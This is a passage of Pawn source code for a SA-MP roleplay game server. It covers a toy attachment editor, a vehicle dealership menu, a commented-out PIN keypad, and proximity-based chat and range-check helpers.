        ToysStudioDT[playerid][tZ] -= 0.1;
		UpdateToysEditor(playerid);
		UpdateEditingToy(playerid, ToysStudioDT[playerid][WhoSlot]);
		return 1;
	}
	if(clickedid == ToysGTD[53])//
	{
        ToysStudioDT[playerid][trX] -= 0.5;
		UpdateToysEditor(playerid);
		UpdateEditingToy(playerid, ToysStudioDT[playerid][WhoSlot]);
		return 1;
	}
	if(clickedid == ToysGTD[52])//
	{
        ToysStudioDT[playerid][trY] -= 0.5;
		UpdateToysEditor(playerid);
		UpdateEditingToy(playerid, ToysStudioDT[playerid][WhoSlot]);
		return 1;
	}
	if(clickedid == ToysGTD[51])//
	{
        ToysStudioDT[playerid][trZ] -= 0.5;
		UpdateToysEditor(playerid);
		UpdateEditingToy(playerid, ToysStudioDT[playerid][WhoSlot]);
		return 1;
	}
	if(clickedid == ToysGTD[50])//
	{
		if(ToysStudioDT[playerid][tsX] >= 0.1) return SendClientMessage(playerid, 0xFFCC00FF, "Minimum Float value");
        ToysStudioDT[playerid][tsX] -= 0.01;
        UpdateToysEditor(playerid);
        UpdateEditingToy(playerid, ToysStudioDT[playerid][WhoSlot]);
        return 1;
	}
	if(clickedid == ToysGTD[49])//
	{
		if(ToysStudioDT[playerid][tsY] >= 0.1) return SendClientMessage(playerid, 0xFFCC00FF, "Minimum Float value");
        ToysStudioDT[playerid][tsY] -= 0.01;
        UpdateToysEditor(playerid);
        UpdateEditingToy(playerid, ToysStudioDT[playerid][WhoSlot]);
        return 1;
	}
	if(clickedid == ToysGTD[48])//
	{
		if(ToysStudioDT[playerid][tsZ] >= 0.1) return SendClientMessage(playerid, 0xFFCC00FF, "Minimum Float value");
        ToysStudioDT[playerid][tsZ] -= 0.01;
        UpdateToysEditor(playerid);
        UpdateEditingToy(playerid, ToysStudioDT[playerid][WhoSlot]);
		return 1;
	}
	if(clickedid == ToysGTD[70])//
	{
		SelectColor[playerid]=1;
		ShowPlayerDialog(playerid, DIALOG_ARGB, DIALOG_STYLE_INPUT, "Color", "Original color: FFFFFF", "Done", "");
	}
	if(clickedid == ToysGTD[71])//
	{
        SelectColor[playerid]=2;
		ShowPlayerDialog(playerid, DIALOG_ARGB, DIALOG_STYLE_INPUT, "Color", "Original color: FFFFFF", "Done", "");
		return 1;
	}
	if(clickedid == ToysGTD[72])//free camera
	{
		SetCameraBehindPlayer(playerid);
		TogglePlayerControllable(playerid, true);
		//SendClientMessage(playerid, -1, "Free Camera: {00AA00}Enabled");
	}
	if(clickedid == OBJTTT[3])
	{
		ToysStudioDT[playerid][LastSelect] = 9999;
		ToysStudioDT[playerid][Enable] = 1;
		for(new i = 0; i < sizeof(OBJTTT); i++)TextDrawHideForPlayer(playerid, OBJTTT[i]);
		for(new i = 0; i < 13; i++)PlayerTextDrawHide(playerid, SELECTER[playerid][i]);
		for(new s=0; s < sizeof(ToysGTD);s++) TextDrawShowForPlayer(playerid, ToysGTD[s]);
		for(new i = 0; i < 12; i++)PlayerTextDrawShow(playerid, TOYS_PTD[playerid][i]);
		UpdateToysEditor(playerid);
	}
	if(clickedid == OBJTTT[8])//page --
	{
	    if(ToysStudioDT[playerid][WhoPage] != 0)
	    {
	        ToysStudioDT[playerid][WhoPage]--;
	        ShowFelanPageAzFelanType(playerid, ToysStudioDT[playerid][WhoType], ToysStudioDT[playerid][WhoPage]);
			TextDrawShowForPlayer(playerid, OBJTTT[9]);
	        if(ToysStudioDT[playerid][WhoPage] == 0)
	        {
	            TextDrawHideForPlayer(playerid, OBJTTT[8]);
	            TextDrawHideForPlayer(playerid, OBJTTT[5]);
	        }
	    }
	}
	if(clickedid == OBJTTT[9])//page ++
	{
	    new type = ToysStudioDT[playerid][WhoType];
	    if(ToysStudioDT[playerid][WhoPage] != GetLastPageOfType(type))
	    {
	        ToysStudioDT[playerid][WhoPage]++;
	        ShowFelanPageAzFelanType(playerid, ToysStudioDT[playerid][WhoType], ToysStudioDT[playerid][WhoPage]);
			TextDrawShowForPlayer(playerid, OBJTTT[8]);
	        if(ToysStudioDT[playerid][WhoPage] == GetLastPageOfType(type)-1)
	        {
	            TextDrawHideForPlayer(playerid, OBJTTT[9]);
	            TextDrawHideForPlayer(playerid, OBJTTT[6]);
	        }
	    }
	}
 	if(clickedid == ToysGTD[60])
	{
	    new aa = ToysStudioDT[playerid][WhoSlot];
	    new ss = PlayerObjectsInfo[playerid][aa][ao_slot];
	    CancelSelectTextDraw(playerid);
	    EditAttachedObject(playerid,ss);
	}
	if(clickedid == ToysGTD[65])
	{
		if(CameraPoint[playerid]>=5) return true;
		CameraPoint[playerid]++;
		new Float:Cam[5];
		GetPlayerPos(playerid, Cam[0],Cam[1],Cam[2]);
		GetXYInFrontOfPlayer(playerid,Cam[3],Cam[4],CameraPoint[playerid]);
		SetPlayerCameraPos(playerid, Cam[3],Cam[4], Cam[2]);
		SetPlayerCameraLookAt(playerid, Cam[0],Cam[1],Cam[2]);
	}
	if(clickedid == ToysGTD[66])
	{
		if(CameraPoint[playerid]<=1) return true;
		CameraPoint[playerid]--;
		new Float:Cam[5];
		GetPlayerPos(playerid, Cam[0],Cam[1],Cam[2]);
		GetXYInFrontOfPlayer(playerid,Cam[3],Cam[4],CameraPoint[playerid]);
		SetPlayerCameraPos(playerid, Cam[3],Cam[4], Cam[2]);
		SetPlayerCameraLookAt(playerid, Cam[0],Cam[1],Cam[2]);
	}
	if(clickedid == ToysGTD[4])
	{
	    new aa = ToysStudioDT[playerid][WhoSlot];
	    PlayerObjectsInfo[playerid][aa][ao_model] = ToysStudioDT[playerid][tobject];
	    PlayerObjectsInfo[playerid][aa][ao_bone] = ToysStudioDT[playerid][obone];
	    PlayerObjectsInfo[playerid][aa][ao_x] = ToysStudioDT[playerid][tX];
	    PlayerObjectsInfo[playerid][aa][ao_y] = ToysStudioDT[playerid][tY];
	    PlayerObjectsInfo[playerid][aa][ao_z] = ToysStudioDT[playerid][tZ];
	    PlayerObjectsInfo[playerid][aa][ao_rx] = ToysStudioDT[playerid][trX];
	    PlayerObjectsInfo[playerid][aa][ao_ry] = ToysStudioDT[playerid][trY];
	    PlayerObjectsInfo[playerid][aa][ao_rz] = ToysStudioDT[playerid][trZ];
	    PlayerObjectsInfo[playerid][aa][ao_sx] = ToysStudioDT[playerid][tsX];
	    PlayerObjectsInfo[playerid][aa][ao_sy] = ToysStudioDT[playerid][tsY];
	    PlayerObjectsInfo[playerid][aa][ao_sz] = ToysStudioDT[playerid][tsZ];
	    PlayerObjectsInfo[playerid][aa][colorx1] = ToysStudioDT[playerid][colorx1];
	    PlayerObjectsInfo[playerid][aa][colorx2] = ToysStudioDT[playerid][colorx2];
	    ToysSlotSave(playerid, aa, 1);
	    SendClientMessage(playerid,COLOR_SINARANG,"* Toy saved.");
	    LoopingAnim(playerid,"CLOTHES","CLO_Buy", 4.0, 0, 0, 0, 0, 0);
	}
	if(clickedid == BuyModel) {
	if(GetPlayerPool(playerid) < PriceCar[playerid]) return SCM(playerid, COLOR_YELLOW2, "Error: You haven't enough money.")


new vehicless = GetVehicleModel(vhid[playerid]) - 400;
new x[512];
format(x, sizeof(x), "Are you sure to buy a(n) {FF0000}%s {A9C4E4}for {FF0000}%s${A9C4E4}?",aVehicleNames[vehicless],FormatNumber(PriceCar[playerid]));
ShowPlayerDialog(playerid, 2066, DIALOG_STYLE_MSGBOX,"Dealership",x,"Yes","Cancel");
	}
	if(clickedid == TestModel) // We found the number they clicked.
	{
	SetVehiclePos(vhid[playerid], 346.314880,-1519.462158,32.913539);
	SetVehicleZAngle(vhid[playerid], 249.463790);
	testemashin = SetTimerEx("OnTestMashin", 160000, 0, "i", playerid);
	SCM(playerid, COLOR_YELLOW, "3 minutes for test on this vehicle started.");
	TextDrawHideForPlayer(playerid, TestModel);
	TextDrawHideForPlayer(playerid, BuyModel);
	TextDrawHideForPlayer(playerid, NextModel);
	TextDrawHideForPlayer(playerid, PrevModel);
	TextDrawHideForPlayer(playerid, ExitDS);
	TextDrawHideForPlayer(playerid, RotModel);
	TextDrawHideForPlayer(playerid, RotModel2);
	PlayerTextDrawHide(playerid, CarModel[playerid]);
	PlayerTextDrawHide(playerid, PriceModel[playerid]);
	OnMashinKharidan[playerid] = 0;
	SetPlayerPos(playerid, 325.5731,-1514.8918,36.0325);
	CancelSelectTextDraw(playerid);
	SetCameraBehindPlayer(playerid);
	PutPlayerInVehicle(playerid, vhid[playerid], 0);
	SetTimerEx("OnTestMashinOk", 2000, 0, "i", playerid);
	LockEngine[vhid[playerid]] = false;
	}
	if(clickedid == PrevModel) // We found the number they clicked.
	{
		DestroyVehicle(vhid[playerid]);
		if(rV[playerid] == 1) {
		rV[playerid] = 103;
		}
		else {
		rV[playerid] -= 1;
		}
		okkon(playerid,rV[playerid]);
	}
	if(clickedid == NextModel) // We found the number they clicked.
	{
	DestroyVehicle(vhid[playerid]);
		if(rV[playerid] == 103) {
		rV[playerid] = 1;
		}
		else {
		rV[playerid] += 1;
		}
		okkon(playerid,rV[playerid]);
	}
if(clickedid == ExitDS) {
		DestroyVehicle(vhid[playerid]);
		TextDrawHideForPlayer(playerid, TestModel);
		TextDrawHideForPlayer(playerid, BuyModel);
		TextDrawHideForPlayer(playerid, NextModel);
		TextDrawHideForPlayer(playerid, PrevModel);
		TextDrawHideForPlayer(playerid, ExitDS);
		TextDrawHideForPlayer(playerid, RotModel);
		TextDrawHideForPlayer(playerid, RotModel2);
		PlayerTextDrawHide(playerid, CarModel[playerid]);
		PlayerTextDrawHide(playerid, PriceModel[playerid]);
		OnMashinKharidan[playerid] = 0;
		SetPlayerPos(playerid, 325.5731,-1514.8918,36.0325);
		CancelSelectTextDraw(playerid);
		SetCameraBehindPlayer(playerid);
		SetPlayerVirtualWorld(playerid, 0);
}
	if(clickedid == RotModel) // We found the number they clicked.
	{
		if(roV[playerid] == 7) {
		roV[playerid] = 0;
		}
		else {roV[playerid] += 1;}
		ChangeRot(playerid,roV[playerid]);

	}
	if(clickedid == RotModel2) // We found the number they clicked.
	{
		if(roV[playerid] == 0) {
		roV[playerid] = 7;
		}
		else {roV[playerid] -= 1;}
		ChangeRot(playerid,roV[playerid]);

	}

/*
	if(clickedid == Unsucc[playerid]) // We found the number they clicked.
	{
	TextDrawHideForPlayer(playerid, KEYPAD_gKeypadTextdraws[keypad_textdraw_bg]); // Hide the grey background box
	for(new e=0; e<10; e++) TextDrawHideForPlayer(playerid, KEYPAD_gKeypadTextdraws[keypad_textdraw_num][e]); // Hide numbers
	for(new e=0; e<10; e++) TextDrawHideForPlayer(playerid, KEYPAD_gKeypadTextdraws[keypad_textdraw_box][e]); // Hide boxes
	TextDrawHideForPlayer(playerid, BoxInput1);
	TextDrawHideForPlayer(playerid, BoxInput2);
	TextDrawHideForPlayer(playerid, BoxInput3);
	TextDrawHideForPlayer(playerid, BoxInput4);
	PlayerTextDrawHide(playerid, Input1[playerid]);
	PlayerTextDrawHide(playerid, Input2[playerid]);
	PlayerTextDrawHide(playerid, Input3[playerid]);
	PlayerTextDrawHide(playerid, Input4[playerid]);
	TextDrawHideForPlayer(playerid, Ok);
	TextDrawHideForPlayer(playerid, Clear);
	TextDrawHideForPlayer(playerid, Cancel);
	PlayerTextDrawSetString(playerid, Input1[playerid], "-");
	PlayerTextDrawSetString(playerid, Input2[playerid], "-");
	PlayerTextDrawSetString(playerid, Input3[playerid], "-");
	PlayerTextDrawSetString(playerid, Input4[playerid], "-");
	CancelSelectTextDraw(playerid); // Hide the player's mouse cursor
	AdadPin[playerid] = 0;
	Cancele[playerid] = 0;
	}
		if(clickedid == Clear) // We found the number they clicked.
		{
		if(AdadPin[playerid] == 0) {}
		else if(AdadPin[playerid] == 1) {AdadPin[playerid] = 0;SCM(playerid, COLOR_RED, "Prev number cleared.");PlayerTextDrawSetString(playerid, Input1[playerid], "-");}
		else if(AdadPin[playerid] == 2) {AdadPin[playerid] = 1;SCM(playerid, COLOR_RED, "Prev number cleared.");PlayerTextDrawSetString(playerid, Input2[playerid], "-");}
		else if(AdadPin[playerid] == 3) {AdadPin[playerid] = 2;SCM(playerid, COLOR_RED, "Prev number cleared.");PlayerTextDrawSetString(playerid, Input3[playerid], "-");}

		}
			else if(clickedid == Ok) // We found the number they clicked.
		{
	if(AdadPin[playerid] != 4) return SCM(playerid, COLOR_YELLOW2, "Error: Pin Code must be 4 numbers.");
	if(Pin1[playerid] == 0 && Pin2[playerid] == 0 && Pin3[playerid]  == 0 && Pin4[playerid]  == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Pin code can't be 0000.");
	if(PinType[playerid] == 1) {

	TextDrawHideForPlayer(playerid, KEYPAD_gKeypadTextdraws[keypad_textdraw_bg]); // Hide the grey background box
	for(new e=0; e<10; e++) TextDrawHideForPlayer(playerid, KEYPAD_gKeypadTextdraws[keypad_textdraw_num][e]); // Hide numbers
	for(new e=0; e<10; e++) TextDrawHideForPlayer(playerid, KEYPAD_gKeypadTextdraws[keypad_textdraw_box][e]); // Hide boxes
	TextDrawHideForPlayer(playerid, BoxInput1);
	TextDrawHideForPlayer(playerid, BoxInput2);
	TextDrawHideForPlayer(playerid, BoxInput3);
	TextDrawHideForPlayer(playerid, BoxInput4);
	PlayerTextDrawHide(playerid, Input1[playerid]);
	PlayerTextDrawHide(playerid, Input2[playerid]);
	PlayerTextDrawHide(playerid, Input3[playerid]);
	PlayerTextDrawHide(playerid, Input4[playerid]);
	TextDrawHideForPlayer(playerid, Ok);
	TextDrawHideForPlayer(playerid, Clear);
	TextDrawHideForPlayer(playerid, Cancel);
	Cancele[playerid] = 0;
	PlayerTextDrawSetString(playerid, Input1[playerid], "-");
	PlayerTextDrawSetString(playerid, Input2[playerid], "-");
	PlayerTextDrawSetString(playerid, Input3[playerid], "-");
	PlayerTextDrawSetString(playerid, Input4[playerid], "-");
	CancelSelectTextDraw(playerid); // Hide the player's mouse cursor
	AdadPin[playerid] = 0;
	LockAcc[playerid] = 0;
	PlayerInfo[playerid][pPinned] = 1;
	SaveKonVal(playerid, "pPinned", 1);
	PlayerInfo[playerid][pPin1] = Pin1[playerid];
		SaveKonVal(playerid, "pPin1", PlayerInfo[playerid][pPin1]);
		PlayerInfo[playerid][pPin2] = Pin2[playerid];
		SaveKonVal(playerid, "pPin2", PlayerInfo[playerid][pPin2]);
	PlayerInfo[playerid][pPin3] = Pin3[playerid];
		SaveKonVal(playerid, "pPin3", PlayerInfo[playerid][pPin3]);
		PlayerInfo[playerid][pPin4] = Pin4[playerid];
		SaveKonVal(playerid, "pPin4", PlayerInfo[playerid][pPin4]);
	GameTextForPlayer(playerid, "~W~Pin Code ~G~Added", 3000, 3);
	new marlina[144];
	format(marlina, 144, "Your new pin code is: {FFFFFF}%d%d%d%d",Pin1[playerid],Pin2[playerid],Pin3[playerid],Pin4[playerid]);
	SendMessage(playerid, COLOR_Good, marlina);
	}
	else if(PinType[playerid] == 4) {
	if(Pin1[playerid] == 0 && Pin2[playerid] == 1 && Pin3[playerid] == 0 && Pin4[playerid] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Pin code can't be 0000 , Enter Again.");
	new format2[1042];
	format(format2,sizeof(format2),"Are you sure to change pin to %d%d%d%d\nIf yes, you must never forget this pin.", Pin1[playerid], Pin2[playerid], Pin3[playerid], Pin4[playerid]);
	ShowPlayerDialog(playerid,9037,DIALOG_STYLE_MSGBOX,"Change Pin:",format2,"Yes","No");
	}
	}


	else if(AdadPin[playerid] == 4 && PinType[playerid] == 1) {

	TextDrawHideForPlayer(playerid, KEYPAD_gKeypadTextdraws[keypad_textdraw_bg]); // Hide the grey background box
	for(new e=0; e<10; e++) TextDrawHideForPlayer(playerid, KEYPAD_gKeypadTextdraws[keypad_textdraw_num][e]); // Hide numbers
	for(new e=0; e<10; e++) TextDrawHideForPlayer(playerid, KEYPAD_gKeypadTextdraws[keypad_textdraw_box][e]); // Hide boxes
	TextDrawHideForPlayer(playerid, BoxInput1);
	TextDrawHideForPlayer(playerid, BoxInput2);
	TextDrawHideForPlayer(playerid, BoxInput3);
	TextDrawHideForPlayer(playerid, BoxInput4);
	PlayerTextDrawHide(playerid, Input1[playerid]);
	PlayerTextDrawHide(playerid, Input2[playerid]);
	PlayerTextDrawHide(playerid, Input3[playerid]);
	PlayerTextDrawHide(playerid, Input4[playerid]);
	TextDrawHideForPlayer(playerid, Ok);
	TextDrawHideForPlayer(playerid, Clear);
	TextDrawHideForPlayer(playerid, Cancel);
	Cancele[playerid] = 0;
	PlayerTextDrawSetString(playerid, Input1[playerid], "-");
	PlayerTextDrawSetString(playerid, Input2[playerid], "-");
	PlayerTextDrawSetString(playerid, Input3[playerid], "-");
	PlayerTextDrawSetString(playerid, Input4[playerid], "-");
	CancelSelectTextDraw(playerid); // Hide the player's mouse cursor
	AdadPin[playerid] = 0;
	PlayerInfo[playerid][pPinned] = 1;
	SaveKonVal(playerid, "pPinned", 1);

	}



	for(new i=0; i<10; i++) // Loop through the 10 numbers, see if they clicked one
	{

		if(clickedid == KEYPAD_gKeypadTextdraws[keypad_textdraw_num][i]) // We found the number they clicked.
		{
		if(PlayerInfo[playerid][pPinned] == 0 && PinType[playerid] == 1)
		{
			if(AdadPin[playerid] == 0){
			Pin1[playerid] = i;
			AdadPin[playerid] = 1;
			new i1[128];
			format(i1, sizeof(i1), "%d", i);
			PlayerTextDrawSetString(playerid, Input1[playerid], i1);
			}
			else if(AdadPin[playerid] == 1){
			Pin2[playerid] = i;
			AdadPin[playerid] = 2;
			new i2[128];
			format(i2, sizeof(i2), "%d", i);
			PlayerTextDrawSetString(playerid, Input2[playerid], i2);
			}
			else if(AdadPin[playerid] == 2){
			Pin3[playerid] = i;
			AdadPin[playerid] = 3;
			new i3[128];
			format(i3, sizeof(i3), "%d", i);
			PlayerTextDrawSetString(playerid, Input3[playerid], i3);
			}
			else if(AdadPin[playerid] == 3){
			Pin4[playerid] = i;
			AdadPin[playerid] = 4;
			new i4[128];
			format(i4, sizeof(i4), "%d", i);
			PlayerTextDrawSetString(playerid, Input4[playerid], i4);

		}
		}
		else if(PlayerInfo[playerid][pPinned] == 1 && PinType[playerid] == 2)
		{
			if(AdadPin[playerid] == 0){
			Pin1[playerid] = i;
			AdadPin[playerid] = 1;
			new i1[128];
			format(i1, sizeof(i1), "%d", i);
			PlayerTextDrawSetString(playerid, Input1[playerid], i1);
			}
			else if(AdadPin[playerid] == 1){
			Pin2[playerid] = i;
			AdadPin[playerid] = 2;
			new i2[128];
			format(i2, sizeof(i2), "%d", i);
			PlayerTextDrawSetString(playerid, Input2[playerid], i2);
			}
			else if(AdadPin[playerid] == 2){
			Pin3[playerid] = i;
			AdadPin[playerid] = 3;
			new i3[128];
			format(i3, sizeof(i3), "%d", i);
			PlayerTextDrawSetString(playerid, Input3[playerid], i3);
			}
			else if(AdadPin[playerid] == 3){
			Pin4[playerid] = i;
			AdadPin[playerid] = 4;
			new i4[128];
			format(i4, sizeof(i4), "%d", i);
			PlayerTextDrawSetString(playerid, Input4[playerid], i4);
		}
		}
		else if(PinType[playerid] == 3)
		{
			if(AdadPin[playerid] == 0){
			Pin1[playerid] = i;
			AdadPin[playerid] = 1;
			new i1[128];
			format(i1, sizeof(i1), "%d", i);
			PlayerTextDrawSetString(playerid, Input1[playerid], i1);
			}
			else if(AdadPin[playerid] == 1){
			Pin2[playerid] = i;
			AdadPin[playerid] = 2;
			new i2[128];
			format(i2, sizeof(i2), "%d", i);
			PlayerTextDrawSetString(playerid, Input2[playerid], i2);
			}
			else if(AdadPin[playerid] == 2){
			Pin3[playerid] = i;
			AdadPin[playerid] = 3;
			new i3[128];
			format(i3, sizeof(i3), "%d", i);
			PlayerTextDrawSetString(playerid, Input3[playerid], i3);
			}
			else if(AdadPin[playerid] == 3){
			Pin4[playerid] = i;
			AdadPin[playerid] = 4;
			new i4[128];
			format(i4, sizeof(i4), "%d", i);
			PlayerTextDrawSetString(playerid, Input4[playerid], i4);
			PinType[playerid] = 4;

		}
		}
		}
	}
	*/

	return 1;
}
public ProxDetector(Float:radi, playerid, string[],col1,col2,col3,col4,col5)
{
	if(IsPlayerConnected(playerid))
	{
	   new iNewStr[144], iStatus = -1, iFinder[25], iTemp;
	   format(iNewStr, sizeof(iNewStr), "%s", string);
	   ForEachPlayer(i)
	   {
	       if(IsPlayerConnected(i) && !IsPlayerNPC(i) && !FCNPC_IsValid(i))
	       {
	           format(iFinder, sizeof(iFinder), "@%s", PlayerInfo[i][pName]);
	           iTemp = strfind(iNewStr, iFinder, true);
	           if(iTemp != -1)
	           {
	   			iStatus = i;
	   			break;
	           }
	       }
	   }
	   new Float:posx, Float:posy, Float:posz;
	   new Float:oldposx, Float:oldposy, Float:oldposz;
	   new Float:tempposx, Float:tempposy, Float:tempposz;
	   GetPlayerPos(playerid, oldposx, oldposy, oldposz);
	   //radi = 2.0; //Trigger Radius
	   for(new i = 0; i < Akharish; i++)
	   {
		  if(IsPlayerConnected(i) && (GetPlayerVirtualWorld(playerid) == GetPlayerVirtualWorld(i)))
		  {
			 if(!BigEar[i])
			 {
				GetPlayerPos(i, posx, posy, posz);
				tempposx = (oldposx -posx);
				tempposy = (oldposy -posy);
				tempposz = (oldposz -posz);
				//printf("DEBUG: X:%f Y:%f Z:%f",posx,posy,posz);
				if(IsAdv(string)&&PINFO[playerid][pAdmin]<12){new adwn[144];format(adwn, sizeof(adwn), "{ffffff}Player %s(%i) is advertising an IP (Possibly IP Address)",RPName(playerid), playerid);AdminWarn(adwn);}
				if (((tempposx < radi/16) && (tempposx > -radi/16)) && ((tempposy < radi/16) && (tempposy > -radi/16)) && ((tempposz < radi/16) && (tempposz > -radi/16)))
				{
     					if(iStatus == i && i != playerid)
						{
				            strins(iNewStr, "{E6E6E6}", iTemp + strlen(iFinder));
                            strins(iNewStr, "{FF0000}", iTemp);
							SendMessage(i, col1, iNewStr);
						}
						else SendMessage(i, col1, string);
				}
				else if (((tempposx < radi/8) && (tempposx > -radi/8)) && ((tempposy < radi/8) && (tempposy > -radi/8)) && ((tempposz < radi/8) && (tempposz > -radi/8)))
				{
     					if(iStatus == i && i != playerid)
						{
				            strins(iNewStr, "{C8C8C8}", iTemp + strlen(iFinder));
                            strins(iNewStr, "{FF0000}", iTemp);
							SendMessage(i, col2, iNewStr);
						}
						else SendMessage(i, col2, string);
				}
				else if (((tempposx < radi/4) && (tempposx > -radi/4)) && ((tempposy < radi/4) && (tempposy > -radi/4)) && ((tempposz < radi/4) && (tempposz > -radi/4)))
				{
     					if(iStatus == i && i != playerid)
						{
				            strins(iNewStr, "{AAAAAA}", iTemp + strlen(iFinder));
                            strins(iNewStr, "{FF0000}", iTemp);
							SendMessage(i, col3, iNewStr);
						}
						else SendMessage(i, col3, string);
				}
				else if (((tempposx < radi/2) && (tempposx > -radi/2)) && ((tempposy < radi/2) && (tempposy > -radi/2)) && ((tempposz < radi/2) && (tempposz > -radi/2)))
				{
     					if(iStatus == i && i != playerid)
						{
				            strins(iNewStr, "{8C8C8C}", iTemp + strlen(iFinder));
                            strins(iNewStr, "{FF0000}", iTemp);
							SendMessage(i, col4, iNewStr);
						}
						else SendMessage(i, col4, string);
				}
				else if (((tempposx < radi) && (tempposx > -radi)) && ((tempposy < radi) && (tempposy > -radi)) && ((tempposz < radi) && (tempposz > -radi)))
				{
     					if(iStatus == i && i != playerid)
						{
				            strins(iNewStr, "{6E6E6E}", iTemp + strlen(iFinder));
                            strins(iNewStr, "{FF0000}", iTemp);
							SendMessage(i, col5, iNewStr);
						}
						else SendMessage(i, col5, string);
				}
			 }
			 else
			 {
				SendMessage(i, col1, string);
			 }
		  }
	   }
	}//not connected
	return 1;
}
public TESTING(playerid,msg[],color[],tYpe)
{
	new string[256];
	for(new i=0;i<MAX_PLAYERS;i++)
	{
		if(!BigEar[i])
		{
			if(GetDistanceBetweenPlayers(playerid,i)<=1.0)
			{
				if(tYpe==1)
				{
					format(string,sizeof(string),"%s%s {E6E6E6}Says: %s",color,RPName(playerid),msg);
					SendClientMessage(i, -1, string);
				}
				else if(tYpe==2)
				{
					format(string,sizeof(string),"%s%s {FFFFFF}Shouts: %s!",color,RPName(playerid),msg);
					SendClientMessage(i, -1, string);
				}

			}
			else if(GetDistanceBetweenPlayers(playerid,i)>1.0&&GetDistanceBetweenPlayers(playerid,i)<=2.0)
			{
				if(tYpe==1)
				{
					format(string,sizeof(string),"%s%s {C8C8C8}Says: %s",color,RPName(playerid),msg);
					SendClientMessage(i, -1, string);
				}
				else if(tYpe==2)
				{
					format(string,sizeof(string),"%s%s {FFFFFF}Shouts: %s!",color,RPName(playerid),msg);
					SendClientMessage(i, -1, string);
				}
			}
			else if(GetDistanceBetweenPlayers(playerid,i)>2.0&&GetDistanceBetweenPlayers(playerid,i)<=4.0)
			{
				if(tYpe==1)
				{
					format(string,sizeof(string),"%s%s {AAAAAA}Says: %s",color,RPName(playerid),msg);
					SendClientMessage(i, -1, string);
				}
				else if(tYpe==2)
				{
					format(string,sizeof(string),"%s%s {FFFFFF}Shouts: %s!",color,RPName(playerid),msg);
					SendClientMessage(i, -1, string);
				}
			}
			else if(GetDistanceBetweenPlayers(playerid,i)>4.0&&GetDistanceBetweenPlayers(playerid,i)<=8.0)
			{
				if(tYpe==1)
				{
					format(string,sizeof(string),"%s%s {8C8C8C}Says: %s",color,RPName(playerid),msg);
					SendClientMessage(i, -1, string);
				}
				else if(tYpe==2)
				{
					format(string,sizeof(string),"%s%s {E6E6E6}Shouts: %s!",color,RPName(playerid),msg);
					SendClientMessage(i, -1, string);
				}
			}
			else if(GetDistanceBetweenPlayers(playerid,i)>8.0&&GetDistanceBetweenPlayers(playerid,i)<=16.0)
			{
				if(tYpe==1)
				{
					format(string,sizeof(string),"%s%s {6E6E6E}Says: %s",color,RPName(playerid),msg);
					SendClientMessage(i, -1, string);
				}
				else if(tYpe==2)
				{
					format(string,sizeof(string),"%s%s {C8C8C8}Shouts: %s!",color,RPName(playerid),msg);
					SendClientMessage(i, -1, string);
				}
			}
		}
		else
		{
			format(string,sizeof(string),"%s%s {E6E6E6}Says: %s",color,RPName(playerid),msg);
			SendClientMessage(i, -1, string);
		}
	}
	return 1;
}
public CrimInRange(Float:radi, playerid,copid)
{
	if(IsPlayerConnected(playerid)&&IsPlayerConnected(copid))
	{
	   new Float:posx, Float:posy, Float:posz;
	   new Float:oldposx, Float:oldposy, Float:oldposz;
	   new Float:tempposx, Float:tempposy;
	   GetPlayerPos(playerid, oldposx, oldposy, oldposz);
	   GetPlayerPos(copid, posx, posy, posz);
	   tempposx = (oldposx -posx);
	   tempposy = (oldposy -posy);
	   if (((tempposx < radi) && (tempposx > -radi)) && ((tempposy < radi) && (tempposy > -radi)))
	   {
		  return 1;
	   }
	}
	return 0;
}

public ProxDetectorS(Float:radi, playerid, targetid)
{
	if(IsPlayerConnected(playerid)&&IsPlayerConnected(targetid))
	{
	   new Float:posx, Float:posy, Float:posz;
	   new Float:oldposx, Float:oldposy, Float:oldposz;
	   new Float:tempposx, Float:tempposy, Float:tempposz;
	   GetPlayerPos(playerid, oldposx, oldposy, oldposz);
	   GetPlayerPos(targetid, posx, posy, posz);
	   tempposx = (oldposx -posx);
	   tempposy = (oldposy -posy);
	   tempposz = (oldposz -posz);
	   if (((tempposx < radi) && (tempposx > -radi)) && ((tempposy < radi) && (tempposy > -radi)) && ((tempposz < radi) && (tempposz > -radi)))
	   {
		  return 1;
	   }
	}
	return 0;
}

public PlayerToPoint(Float:radi, playerid, Float:x, Float:y, Float:z)
{
	if(IsPlayerConnected(playerid))
	{
	   new Float:oldposx, Float:oldposy, Float:oldposz;
	   new Float:tempposx, Float:tempposy, Float:tempposz;
	   GetPlayerPos(playerid, oldposx, oldposy, oldposz);
	   tempposx = (oldposx -x);
	   tempposy = (oldposy -y);
	   tempposz = (oldposz -z);
	   if (((tempposx < radi) && (tempposx > -radi)) && ((tempposy < radi) && (tempposy > -radi)) && ((tempposz < radi) && (tempposz > -radi)))
	   {
		  return 1;
	   }
	}
	return 0;
}

public CustomPickups()
{
	new string[512];
	format(string, 1024, "Hotdog Place \nType: /hotdog to eat \n Cost: $%i", SBizzInfo[21][sbEntranceCost]);
	for(new i = 0;i<10;i++)
	{
	   UpdateDynamic3DTextLabelText(hotdog[i], COLOR_GRAD4,string);
	}

	for(new h = 0; h < sizeof(SBizzInfo); h++)
	{
	   if(SBizzInfo[h][sbOwned] == 0)
	   {
		  format(string, sizeof(string), "{3366ff}SBiz ID %d \n{FFFFFF}%s \n{3366ff}This Business is for sale \nCost: {FFFFFF}$%s \n{3366ff}Level: {FFFFFF}%d \n{3366ff}to buy this Business type {FFFFFF}/buybiz",SBizzInfo[h],SBizzInfo[h][sbMessage],FormatNumber(SBizzInfo[h][sbBuyPrice]),SBizzInfo[h][sbLevelNeeded]);
		  UpdateDynamic3DTextLabelText(sbizer[h], COLOR_BIZ, string);
	   }
	   else if(SBizzInfo[h][sbOwned] == 1)
	   {
		  format(string, sizeof(string), "{3366ff}SBiz ID %d \n{FFFFFF}%s \n{3366ff}This Business is owned by: {FFFFFF}%s \n{3366ff}Fee: {FFFFFF}$%s",SBizzInfo[h],SBizzInfo[h][sbMessage],SBizzInfo[h][sbOwner],FormatNumber(SBizzInfo[h][sbEntranceCost]));
		  UpdateDynamic3DTextLabelText(sbizer[h], COLOR_BIZ,string);
	   }
	   else if(SBizzInfo[h][sbOwned] == 2)
	   {
